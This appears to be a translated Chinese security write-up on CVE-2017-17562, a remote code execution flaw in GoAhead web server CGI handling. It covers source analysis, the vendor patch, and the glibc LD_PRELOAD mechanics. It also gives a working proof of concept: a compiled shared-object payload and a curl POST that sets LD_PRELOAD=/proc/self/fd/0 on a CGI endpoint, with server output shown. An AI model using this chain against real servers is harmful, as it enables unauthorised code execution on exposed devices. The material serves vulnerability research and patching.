介绍
在这篇文章中,我们将会跟大家讨论漏洞CVE-2017-17562的技术细节,而这个漏洞将允许攻击者在版本小于v3.6.5的GoAhead Web服务器中实现可靠的远程代码执行。
当用户使用不受信任的HTTP请求参数来初始化CGI脚本环境时,将会导致该漏洞的出现,而该漏洞将影响所有开启了CGI脚本支持(动态链接可执行脚本文件)的用户。这种行为在结合glibc动态链接器的情况下,攻击者将能够使用类似LD_PRELOAD(一般用于执行函数钩子,详见preeny)之类的特殊变量来实现远程代码执行。
可能有些用户并不了解GoAhead,根据其官网的介绍页面显示,‘GoAhead是目前世界上最流行的小型嵌入式Web服务器’,并且类似IBM、惠普、甲骨文、波音、D-Link和摩托罗拉等多家大型企业都在使用GoAhead。根据我们从Shodan搜索引擎中得到的搜索数据显示,当前互联网中已经有超过735000台设备正在使用GoAhead。
下图显示的是Shodan搜索结果:
本文所要介绍的漏洞利用技术是一种非常有趣的实用案例,而且可以用于其他拥有类似不安全架构的不同类型软件之中。
漏洞分析
根据我们的测试结果,所有版本号大于v2.5.0的GoAhead都存在这个漏洞(我们所能找到的最老版本就是 v2.5.0了)。你可以按照下列方法克隆、编译并运行包含漏洞的GoAhead守护进程代码库:
daniel@makemyday:~$ git clone https://github.com/embedthis/goahead.git
Cloning into 'goahead'...
remote: Counting objects: 20583, done.
remote: Total 20583 (delta 0), reused 0 (delta 0), pack-reused 20583
Receiving objects: 100% (20583/20583), 19.71 MiB | 4.76 MiB/s, done.
Resolving deltas: 100% (14843/14843), done.
daniel@makemyday:~$ cd goahead/
daniel@makemyday:~/goahead$ ls
configure CONTRIBUTING.md doc installs main.me Makefile paks README.md test
configure.bat dist farm.json LICENSE.md make.bat package.json projects src
daniel@makemyday:~/goahead$ git checkout tags/v3.6.4 -q
daniel@makemyday:~/goahead$ make > /dev/null
daniel@makemyday:~/goahead$ cd test
daniel@makemyday:~/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitest
daniel@makemyday:~/goahead/test$ sudo ../build/linux-x64-default/bin/goahead
代码分析
漏洞存在于函数cgiHandler之中,当应用程序给新进程的envp参数分配数组指针时将需要调用该函数,并使用HTTP请求参数中的键值对数据来对函数进行初始化。最后,需要调用或执行CGI脚本的程序将会调用launchCgi函数。
除了被过滤掉的REMOTE_HOST和HTTP_AUTHORIZATION参数之外,所有其他的参数都会被当作是受信任的参数,并且会在没有进行数据过滤的情况下传递给目标函数。而这将允许攻击者控制新CGI进程的任意环境变量,这是非常危险的,这种危险性你可以从下面给出的漏洞利用部分中了解到。
下面给出的是goahead/src/cgi.c:cgihandler的代码:
...
PUBLIC bool cgiHandler(Webs *wp)
{
Cgi *cgip;
WebsKey *s;
char cgiPrefix[ME_GOAHEAD_LIMIT_FILENAME], *stdIn, *stdOut, cwd[ME_GOAHEAD_LIMIT_FILENAME];
char *cp, *cgiName, *cgiPath, **argp, **envp, **ep, *tok, *query, *dir, *extraPath, *exe;
CgiPid pHandle;
int n, envpsize, argpsize, cid;
...
/*
Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few
we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point
to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair
in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for
loop includes logic to grow the array size via wrealloc.
*/
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
if (s->content.valid && s->content.type == string &&
strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
trace(5, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
envp = wrealloc(envp, envpsize * sizeof(char *));
}
}
}
*(envp+n) = NULL;
/*
Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name)
should already exist.
*/
if (wp->cgiStdin == NULL) {
wp->cgiStdin = websGetCgiCommName();
}
stdIn = wp->cgiStdin;
stdOut = websGetCgiCommName();
if (wp->cgifd >= 0) {
close(wp->cgifd);
wp->cgifd = -1;
}
/*
Now launch the process. If not successful, do the cleanup of resources. If successful, the cleanup will be
done after the process completes.
*/
if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {
...
漏洞修复
这个安全问题可以通过“过滤特殊参数名,并给其他的参数添加静态字符串前缀”的方式来修复这个问题。这种方法貌似可以解决这个问题,而且这种方法甚至对a=b%00LD_PRELOAD%3D这种类型的参数都能起作用。如果你有更好的方法,可以在文章下方的评论区中留言。
下面给出的是git diff f9ea55a 6f786c1 src/cgi.c的相关代码:
diff --git a/src/cgi.c b/src/cgi.c
index 899ec97b..18d9b45b 100644
--- a/src/cgi.c
+++ b/src/cgi.c
@@ -160,10 +160,17 @@ PUBLIC bool cgiHandler(Webs *wp)
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
- if (s->content.valid && s->content.type == string &&
- strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
- strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
- envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
+ if (s->content.valid && s->content.type == string) {
+ if (smatch(s->name.value.string, "REMOTE_HOST") ||
+ smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||
+ smatch(s->name.value.string, "IFS") ||
+ smatch(s->name.value.string, "CDPATH") ||
+ smatch(s->name.value.string, "PATH") ||
+ sstarts(s->name.value.string, "LD_")) {
+ continue;
+ }
+ envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_PREFIX,
+ s->name.value.string, s->content.value.string);
trace(5, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
漏洞利用
这个漏洞将允许攻击者向新进程中注入任意环境变量,这种行为在某些人乍看之下似乎并不算很严重,但你要知道的是,某些“特殊”的环境变量将允许攻击者修改动态链接器的控制流。
ELF动态链接器
在检查了goahead代码中的ELF头之后,我们可以看到它是一个64位的动态链接可执行程序。其中,INTERP数据域中指定了程序解释器,并指向/lib64/ld-linux-x86-64.so.2(动态链接器)。
下图给出的是ELF头:
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -hl ./goahead
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0xf80
Start of program headers: 64 (bytes into file)
Start of section headers: 21904 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 34
Section header string table index: 33
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000001f8 0x00000000000001f8 R E 0x8
INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
...
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
动态链接器是第一段在动态链接可执行程序中运行的代码,它负责链接和加载共享对象并进行符号解析。为了获取goahead代码所加载的全部共享对象,我们可以将特殊环境变量LD_TRACE_LOADED_OBJECTS设置为1,它将会打印出所有已加载的代码库然后自动退出。
下面给出的是ld.so LD_TRACE_LOADED_OBJECTS:
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ LD_TRACE_LOADED_OBJECTS=1 ./goahead
linux-vdso.so.1 => (0x00007fff31bb4000)
libgo.so => /home/daniel/goahead/build/linux-x64-default/bin/libgo.so (0x00007f571f548000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f571f168000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f571ef49000)
/lib64/ld-linux-x86-64.so.2 (0x00007f571f806000)
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
你还可以通过使用grep命令来搜索 DT_NEEDED来静态地获取这些信息(递归定义了每一个ELF共享对象)。
下面给出的是搜索出的共享对象依赖信息:
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d ./goahead | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libgo.so]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libpthread.so.0]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [ld-linux-x86-64.so.2]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
特殊环境变量
我们之前已经介绍过了,动态链接器是第一段在动态链接可执行程序(新进程)中运行的代码,如果你越多过man 8 ld.so,你就会发现其中记录了很多能够修改程序默认行为的特殊环境变量。
由于我个人比较喜欢从源代码中寻找蛛丝马迹,因此我们接下来一起看一看相关的代码到底都做了些什么。其中,dl_main函数是动态链接器的主入口点。
下面给出的是glibc/elf/rtld.c:dl_main的代码:
static void
dl_main (const ElfW(Phdr) *phdr,
ElfW(Word) phnum,
ElfW(Addr) *user_entry,
ElfW(auxv_t) *auxv)
{
const ElfW(Phdr) *ph;
enum mode mode;
struct link_map *main_map;
size_t file_size;
char *file;
bool has_interp = false;
unsigned int i;
...
/* Process the environment variable which control the behaviour. */
process_envvars (&mode);
这个函数所做的第一件事情就是调用process_envvars。
下面给出的是glibc/elf/rtld.c:process_envvars的代码:
static void
process_envvars (enum mode *modep)
{
char **runp = _environ;
char *envline;
enum mode mode = normal;
char *debug_output = NULL;
/* This is the default place for profiling data file. */
GLRO(dl_profile_output)
= &"/var/tmp\0/var/profile"[__libc_enable_secure ? 9 : 0];
while ((envline = _dl_next_ld_env_entry (&runp)) != NULL)
{
size_t len = 0;
while (envline[len] != '\0' && envline[len] != '=')
++len;
if (envline[len] != '=')
/* This is a "LD_" variable at the end of the string without
a '=' character. Ignore it since otherwise we will access
invalid memory below. */
continue;
switch (len)
{
case 4:
/* Warning level, verbose or not. */
if (memcmp (envline, "WARN", 4) == 0)
GLRO(dl_verbose) = envline[5] != '\0';
break;
case 5:
/* Debugging of the dynamic linker? */
if (memcmp (envline, "DEBUG", 5) == 0)
{
process_dl_debug (&envline[6]);
break;
}
if (memcmp (envline, "AUDIT", 5) == 0)
audit_list_string = &envline[6];
break;
case 7:
/* Print information about versions. */
if (memcmp (envline, "VERBOSE", 7) == 0)
{
version_info = envline[8] != '\0';
break;
}
/* List of objects to be preloaded. */
if (memcmp (envline, "PRELOAD", 7) == 0)
{
preloadlist = &envline[8];
break;
}
我们可以看到,链接器会对envp数组进行解析,如果没有找到指定的变量名,它便会测试不同的代码路径。有趣的是上述代码中case 7处理LD_PRELOAD的方式,这里对preloadlist进行了初始化。
下面给出的是glibc/elf/rtld.c:dl_main的代码:
...
/* We have two ways to specify objects to preload: via environment
variable and via the file /etc/ld.so.preload. The latter can also
be used when security is enabled. */
assert (*first_preload == NULL);
struct link_map **preloads = NULL;
unsigned int npreloads = 0;
if (__glibc_unlikely (preloadlist != NULL))
{
HP_TIMING_NOW (start);
npreloads += handle_ld_preload (preloadlist, main_map);
HP_TIMING_NOW (stop);
HP_TIMING_DIFF (diff, start, stop);
HP_TIMING_ACCUM_NT (load_time, diff);
}
...
在dl_main中,如果preloadlist不为NULL,那么handle_ld_preload函数将会被调用。
下面给出的是glibc/elf/rtld.c:handle_ld_preload的代码:
/* The list preloaded objects. */
static const char *preloadlist attribute_relro;
/* Nonzero if information about versions has to be printed. */
static int version_info attribute_relro;
/* The LD_PRELOAD environment variable gives list of libraries
separated by white space or colons that are loaded before the
executable's dependencies and prepended to the global scope list.
(If the binary is running setuid all elements containing a '/' are
ignored since it is insecure.) Return the number of preloads
performed. */
unsigned int
handle_ld_preload (const char *preloadlist, struct link_map *main_map)
{
unsigned int npreloads = 0;
const char *p = preloadlist;
char fname[SECURE_PATH_LIMIT];
while (*p != '\0')
{
/* Split preload list at space/colon. */
size_t len = strcspn (p, " :");
if (len > 0 && len < sizeof (fname))
{
memcpy (fname, p, len);
fname[len] = '\0';
}
else
fname[0] = '\0';
/* Skip over the substring and the following delimiter. */
p += len;
if (*p != '\0')
++p;
if (dso_name_valid_for_suid (fname))
npreloads += do_preload (fname, main_map, "LD_PRELOAD");
}
return npreloads;
}
...
handle_ld_preload函数将会解析preloadlist,并将它的值当作共享对象列表来加载。
综上所述,由于goahead允许我们注入任意的环境变量,那么我们就可以利用glibc处理特殊情况时所使用的方法(缺陷)来实现攻击了。
ELF .SO
我们现在可以强制加载任意共享对象了,但是我们怎样才能让我们的代码运行呢?
下面给出的是PoC代码(PoC/payload.c):
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
将payload.c编译为共享对象:
daniel@makemyday:~/goahead/PoC$ gcc -shared -fPIC ./payload.c -o payload.so
daniel@makemyday:~/goahead/PoC$ LD_PRELOAD=./payload.so cat /dev/null
Hello: World!
daniel@makemyday:~/goahead/PoC$
PoC测试:
daniel@makemyday:~/goahead/PoC$ ls -la ./payload.so
-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.so
daniel@makemyday:~/goahead/PoC$ echo -en "GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0\r\n\r\n" | nc localhost 80 | head -10
HTTP/1.0 200 OK
Date: Wed Dec 13 02:38:56 2017
Transfer-Encoding: chunked
Connection: close
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
content-type: text/html
daniel@makemyday:~/goahead/PoC$
我们可以看到,我们的共享对象代码已经在cgitest进程中通过LD_PRELOAD执行了。
LINUX /PROC/SELF/FD/0
别着急,这里还有一个非常严重的问题我们还没解决。即使我们知道可以从磁盘中加载任意共享对象,而且构造器也允许我们执行其中的代码,但我们怎样才能够从一台远程服务器中注入恶意共享对象呢?毕竟来说,如果我们无法做到这一点的话,磁盘中任何的共享对象估计都帮不上我们的忙。
幸运的是,launchCgi方法会使用dup2()来处理stdin文件描述符,而它指向的是一个包含了POST请求body内容的临时文件。这也就意味着,磁盘中有一个文件包含了用户提供的数据,而且我们可以使用类似LD_PRELOAD=/tmp/cgi-XXXXXX的方法来引用这部分数据。
下面给出的是goahead/src/cgi.c:launchCgi的代码:
/*
Launch the CGI process and return a handle to it.
*/
static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)
{
int fdin, fdout, pid;
trace(5, "cgi: run %s", cgiPath);
if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) {
error("Cannot open CGI stdin: ", cgiPath);
return -1;
}
if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) {
error("Cannot open CGI stdout: ", cgiPath);
return -1;
}
pid = vfork();
if (pid == 0) {
/*
Child
*/
if (dup2(fdin, 0) < 0) {
printf("content-type: text/html\n\nDup of stdin failed\n");
_exit(1);
} else if (dup2(fdout, 1) < 0) {
printf("content-type: text/html\n\nDup of stdout failed\n");
_exit(1);
} else if (execve(cgiPath, argp, envp) == -1) {
printf("content-type: text/html\n\nExecution of cgi process failed\n");
}
...
}
但现在的问题就是,我们必须远程猜测出包含了我们POST Payload的临时文件名称。幸运的是,Linux procfs文件系统的符号链接可以帮助我们直接引用stdin描述符,而它指向的就是我们所要找的临时文件。
下面给出的是linux/fs/proc/self.c的代码:
static const char *proc_self_get_link(struct dentry *dentry,
struct inode *inode,
struct delayed_call *done)
{
struct pid_namespace *ns = inode->i_sb->s_fs_info;
pid_t tgid = task_tgid_nr_ns(current, ns);
char *name;
if (!tgid)
return ERR_PTR(-ENOENT);
/* 11 for max length of signed int in decimal + NULL term */
name = kmalloc(12, dentry ? GFP_KERNEL : GFP_ATOMIC);
if (unlikely(!name))
return dentry ? ERR_PTR(-ENOMEM) : ERR_PTR(-ECHILD);
sprintf(name, "%d", tgid);
set_delayed_call(done, kfree_link, name);
return name;
}
static const struct inode_operations proc_self_inode_operations = {
.get_link = proc_self_get_link,
};
如果我们将上述信息全部综合到一起,我们就可以通过发送包含了恶意共享对象的POST请求(包含了恶意Payload以及相关的构造器)来远程利用该漏洞了。在这个过程中,我们需要指定一个包含了?LD_PRELOAD=/proc/self/fd/0的HTTP参数,而它将指向磁盘中包含了攻击Payload的临时文件。
通过命令行实现漏洞利用:
daniel@makemyday:~/goahead/PoC$ curl -X POST --data-binary @payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0 -i | head
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 9931 0 2035 100 7896 2035 7896 0:00:01 0:00:01 --:--:-- 9774
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
Content-type: text/html
daniel@makemyday:~/goahead/PoC$
如果你想获取直接可用的漏洞利用代码,可以访问我们的GitHub库获取【传送门】。
总结
本文所介绍的漏洞将允许攻击者远程利用LD_PRELOAD来实现任意代码执行,而且几乎当前所有版本的GoAhead Web服务器都会受到影响。除此之外,这种类型的架构很可能也存在于其他服务之中,这也是值得我们去进一步探究的。
虽然所有版本的Web服务器中CGI的处理代码相对来说还算稳定,但是在很多其他的模块中仍然存在不安全的CGI使用情况,因此这里还有可能存在很多其他有意思的漏洞,如果你对这些漏洞感兴趣的话,我建议你可以从websDefineHandler入手。